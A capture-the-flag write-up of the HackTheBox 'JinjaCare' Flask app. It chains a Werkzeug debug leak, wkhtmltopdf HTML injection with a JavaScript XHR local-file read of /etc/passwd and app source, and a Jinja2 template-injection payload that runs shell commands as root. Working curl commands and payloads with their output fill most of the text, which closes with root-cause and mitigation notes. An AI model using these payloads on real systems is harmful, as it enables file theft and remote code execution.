> For the complete documentation index, see [llms.txt](https://0xyogesh.gitbook.io/exploitnotes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xyogesh.gitbook.io/exploitnotes/writeups/hackthebox/jinjacare.md). Agents can also search and read this documentation through its [MCP server](https://0xyogesh.gitbook.io/exploitnotes/~gitbook/mcp).

# JinjaCare

JinjaCare is a Flask-based COVID-19 vaccination verification web app. The intended path chains **wkhtmltopdf HTML/local-file injection** through the certificate-generation feature to disclose the Flask application source. The source reveals a post-substitution `render_template_string()` call, enabling Server-Side Template Injection (SSTI). A Jinja2 gadget chain using `self.__init__.__globals__` then achieves remote code execution as **root**.

The `/verify` certificate lookup endpoint was not directly exploitable. The vulnerable chain was uncovered through registration, a Werkzeug debug traceback, and authenticated profile management.

## Recon

```bash
curl http://<MACHINE-IP>:<PORT>
```

The landing page identifies the application as JinjaCare, a COVID-19 vaccination verification platform. Its navigation includes `/monitoring`, `/verify`, and `/login`.

```bash
curl -I http://<MACHINE-IP>:<PORT>
```

```http
HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Tue, 14 Jul 2026 05:52:05 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 16518
Connection: keep-alive
Vary: Cookie
```

Nginx reverse-proxies the backend application, later confirmed to be Flask.

## Initial Enumeration: `/verify`

The `/verify` endpoint accepts a GET `certificate_id` parameter and returns a validity result.

```bash
curl "http://<MACHINE-IP>:<PORT>/verify?certificate_id=%7B%7B7*7%7D%7D"
curl "http://<MACHINE-IP>:<PORT>/verify?certificate_id=test123"
```

Both requests returned the same “Invalid certificate” response without reflecting input. The endpoint performs a database lookup before rendering, ruling out direct SSTI.

## Forcing an Error: Werkzeug Debug Mode

Sending JSON to the form-based `/register` endpoint triggers a full Werkzeug traceback.

```bash
curl http://<MACHINE-IP>:<PORT>/register -H "Content-Type: application/json" \
  -d '{"username":"tester","email":"b@b.com","password":"tester123"}'
```

```
Traceback (most recent call last):
  File "/usr/local/lib/python3.9/site-packages/flask/app.py", line 1488, in __call__
    return self.wsgi_app(environ, start_response)
  [... snipped ...]
  File "/app/app.py", line 52, in register
    email = request.form['email']
  File "/usr/local/lib/python3.9/site-packages/werkzeug/datastructures/structures.py", line 192, in __getitem__
    raise exceptions.BadRequestKeyError(key)
werkzeug.exceptions.BadRequestKeyError: 400 Bad Request
KeyError: 'email'

<script>
  var CONSOLE_MODE = false,
      EVALEX = true,
      EVALEX_TRUSTED = false,
      SECRET = "4689943sFJltwbtgi7z0";
</script>
```

The traceback confirms:

* Flask running on Python 3.9.
* Application source located at `/app/app.py`.
* Werkzeug interactive debugger enabled with `EVALEX`.
* `/register` expects `email`, `name`, and `password` form fields.

The debugger PIN could not be computed remotely at this stage because the MAC address and machine ID were not disclosed. Enumeration continued elsewhere.

## Registration and Authenticated Surface

Registering with `POST /register` using `email`, `name`, `password`, and `confirmPassword` grants access to `/dashboard`.

The dashboard links to:

* `/profile/personal` — name, email, phone, address, DOB, gender, and emergency contact.
* `/profile/medical` — medical records including condition, doctor, hospital, and notes.
* `/profile/vaccinations` — vaccination records including vaccine, location, and provider.
* `/generate_certificate` — generates a PDF vaccination certificate.

### Name Validation on `/register`

Testing `{{7*7}}` in the registration name field returns:

> Name can only contain letters and spaces

This indicates a server-side regex filter, `^[a-zA-Z ]+$`.

```http
Set-Cookie: session=eyJfZmxhc2hlcyI6...HPlMN2olIbpiTuNK38_0bsSg9BA; HttpOnly; Path=/
Location: /register
```

Prefix and newline bypass attempts such as `test{{7*7}}` and `test\n{{7*7}}` are rejected with the same message. The validation fully anchors the string.

## PDF Certificate Generation: wkhtmltopdf

`/generate_certificate` returns a PDF built with wkhtmltopdf 0.12.6.

```
%PDF-1.4
1 0 obj
<<
/Title ()
/Creator (wkhtmltopdf 0.12.6)
/Producer (Qt ...
```

Testing medical and vaccination fields with `{{7*7}}` shows literal unescaped reflection in `/profile/medical`. However, those fields are not used by `/generate_certificate`; the certificate only uses the account `name` field.

## Bypassing the Name Filter Through `/profile/personal`

The letters-only validation used during registration is not re-applied when updating the profile.

```bash
curl -i -s http://<MACHINE-IP>:<PORT>/profile/personal -b cookies.txt \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode "name=<h1>SSTITEST123</h1>" \
  --data-urlencode "email=<email>" [... other required fields ...]

curl -s http://<MACHINE-IP>:<PORT>/generate_certificate -b cookies.txt -o cert.pdf
pdftotext cert.pdf -
```

The HTML is rendered inside the generated PDF.

```
JinjaCare
COVID-19 Vaccination Certificate
Name:
SSTITEST123
Official Document - 99f85f34-ca50-4b3c-b079-4c53ee358a5a
Date of Issue: 2026-07-14
Vaccination Status: Fully Vaccinated
```

This confirms raw HTML injection through the `name` field.

## Local File Read Through wkhtmltopdf

A direct file iframe is blocked.

```html
<iframe src=file:///etc/passwd>
```

```
Failed to load URL file:///etc/passwd.
Frame load interrupted by policy change
WebKit Error 102
```

Direct local-file navigation is restricted, but JavaScript inside the rendered page can perform synchronous XHR requests to `file://` URIs.

```bash
--data-urlencode 'name=<script>var x=new XMLHttpRequest();x.open("GET","file:///etc/passwd",false);x.send();document.write(x.responseText);</script>'
```

After regenerating the certificate, the PDF contains `/etc/passwd`.

```
Name: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:sys:/dev:/usr/sbin/nologin
[... snipped, full standard /etc/passwd entries ...]
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
```

This confirms arbitrary local file read.

## Reading the Application Source

The traceback previously disclosed the path `/app/app.py`. Reading it through the wkhtmltopdf XHR technique reveals the Flask application source.

```python
from flask import Flask, render_template, request, redirect, url_for, flash, send_file, session,
render_template_string
from flask_login import LoginManager, UserMixin, login_user, login_required, logout_user, current_user
import sqlite3
from werkzeug.security import generate_password_hash, check_password_hash
from database import init_db, get_db
import re, pdfkit, os, tempfile, qrcode, io, base64, uuid, random
from functools import wraps
from datetime import datetime, timedelta

[... snipped: app init, User model, /register, /login, /dashboard routes ...]

@app.route('/generate_certificate')
@login_required
def generate_certificate():
    db = get_db()
    try:
        cert_id = str(uuid.uuid4())
        db.execute('INSERT INTO certificates (user_id, certificate_id, issue_date, status) VALUES (?, ?, datetime(\'now\'), \'valid\')', [current_user.id, cert_id])
        db.commit()
        [... QR code generation snipped ...]
        user = db.execute('SELECT * FROM users WHERE id = ?', [current_user.id]).fetchone()
        template = ""
        try:
            with open("templates/certificate_template.html") as r:
                template = r.read()
            template = template.replace("{{ certificate_id }}", cert_id)
            template = template.replace("{{ name }}", user['name'])
            template = template.replace("{{ status }}", "Fully Vaccinated")
            template = template.replace("{{ issue_date }}", datetime.now().strftime("%Y-%m-%d"))
            template = template.replace("{{ qr_code_url }}", qr_code_url)
            html = render_template_string(template)
        except Exception as template_error:
            raise
        [... pdfkit conversion, options, send_file snipped ...]
    except Exception as e:
        flash(f'Error generating certificate: {str(e)}', 'error')
        return redirect(url_for('dashboard'))

[... snipped: /monitoring, /verify, /profile/personal, /profile/medical, /profile/vaccinations routes ...]

if __name__ == '__main__':
    app.run(debug=True, host='0.0.0.0')
```

## Root Cause: Post-Substitution `render_template_string()`

The vulnerable flow is:

```python
with open("templates/certificate_template.html") as r:
    template = r.read()
template = template.replace("{{ name }}", user['name'])
html = render_template_string(template)
```

The application inserts the attacker-controlled `name` value into the template before rendering it. As a result, injected Jinja2 syntax is parsed and executed as part of the template.

The registration name filter does not protect this path because `/profile/personal` updates the same database column without validation.

## Exploitation: SSTI to RCE

Confirm Jinja2 template execution:

```bash
--data-urlencode "name={{7*7}}"
```

The generated PDF contains:

```
JinjaCare
COVID-19 Vaccination Certificate
Name: 49
Vaccination Status: Fully Vaccinated
Date of Issue: 2026-07-14
```

A Jinja2 gadget chain executes system commands:

```bash
--data-urlencode "name={{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}"
```

The PDF output confirms execution as root.

```
JinjaCare
COVID-19 Vaccination Certificate
Name: uid=0(root) gid=0(root) groups=0(root)
Vaccination Status: Fully Vaccinated
Date of Issue: 2026-07-14
```

Directory listing also succeeds.

```bash
--data-urlencode "name={{ self.__init__.__globals__.__builtins__.__import__('os').popen('ls').read() }}"
```

```
Name: __pycache__ app.py config.py data database.py requirements.txt reset_db.py static
supervisord.log supervisord.pid templates
```

The one-shot execution chain is:

1. Submit the payload to `/profile/personal`.
2. Trigger `/generate_certificate`.
3. Extract command output from the generated PDF using `pdftotext`.

## Flag

Locate the flag:

```bash
--data-urlencode "name={{ self.__init__.__globals__.__builtins__.__import__('os').popen('find / -iname \"*flag*\" 2>/dev/null').read() }}"
```

```
[... snipped: /proc and /sys false-positive paths from find ...]
/flag.txt
```

Read the flag:

```bash
--data-urlencode "name={{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat /flag.txt').read() }}"
```

```
HTB{REDACTED}
```

## Attack Chain

```
/register (POST)
    │
    │ name field uses a letters-only regex
    ▼
Malformed /register request
    │
    │ Werkzeug debug traceback leaks Flask details and /app/app.py
    ▼
Authenticated session
    │
    │ Register and log in
    ▼
/profile/personal (POST)
    │
    │ Name update has no validation
    ▼
/generate_certificate
    │
    │ wkhtmltopdf renders name as raw HTML
    │ JavaScript XHR bypasses file:// frame navigation policy
    ▼
file:///app/app.py disclosed
    │
    │ Reveals template.replace("{{ name }}", user['name'])
    │ followed by render_template_string()
    ▼
SSTI through name field
    │
    │ {{7*7}} evaluates to 49
    ▼
Jinja2 gadget chain
    │
    │ self.__init__.__globals__.__builtins__
    │ .__import__('os').popen(cmd).read()
    ▼
RCE as root
    │
    │ id confirms uid=0(root)
    │ cat /flag.txt returns the flag
    ▼
HTB{REDACTED}
```

## Key Vulnerabilities

| # | Vulnerability                                           | Location                               | Impact                                                                            |
| - | ------------------------------------------------------- | -------------------------------------- | --------------------------------------------------------------------------------- |
| 1 | Verbose debug traceback with Werkzeug `EVALEX`          | Malformed request to `/register`       | Discloses application source path, framework/version, and internal file structure |
| 2 | Inconsistent input validation                           | `/register` versus `/profile/personal` | Bypasses validation for the same `name` database column                           |
| 3 | HTML injection through wkhtmltopdf                      | `/generate_certificate`                | Attacker-controlled HTML is rendered in generated PDFs                            |
| 4 | `file://` navigation policy bypass via JavaScript XHR   | wkhtmltopdf rendering of `name`        | Arbitrary local file read                                                         |
| 5 | Post-substitution `render_template_string()`            | `generate_certificate()` in `app.py`   | Full Server-Side Template Injection                                               |
| 6 | Jinja2 gadget chain through `self.__init__.__globals__` | SSTI payload in `name`                 | Remote code execution as root                                                     |

## Notes

* The registration regex `^[a-zA-Z ]+$` is applied only to the initial write path. It is absent from `/profile/personal`, which writes to the same `name` field.
* Blocking direct `file://` frame navigation in wkhtmltopdf does not prevent JavaScript-driven XHR access to local files.
* Substituting untrusted data into a template before calling `render_template_string()` grants that data template-author privileges.
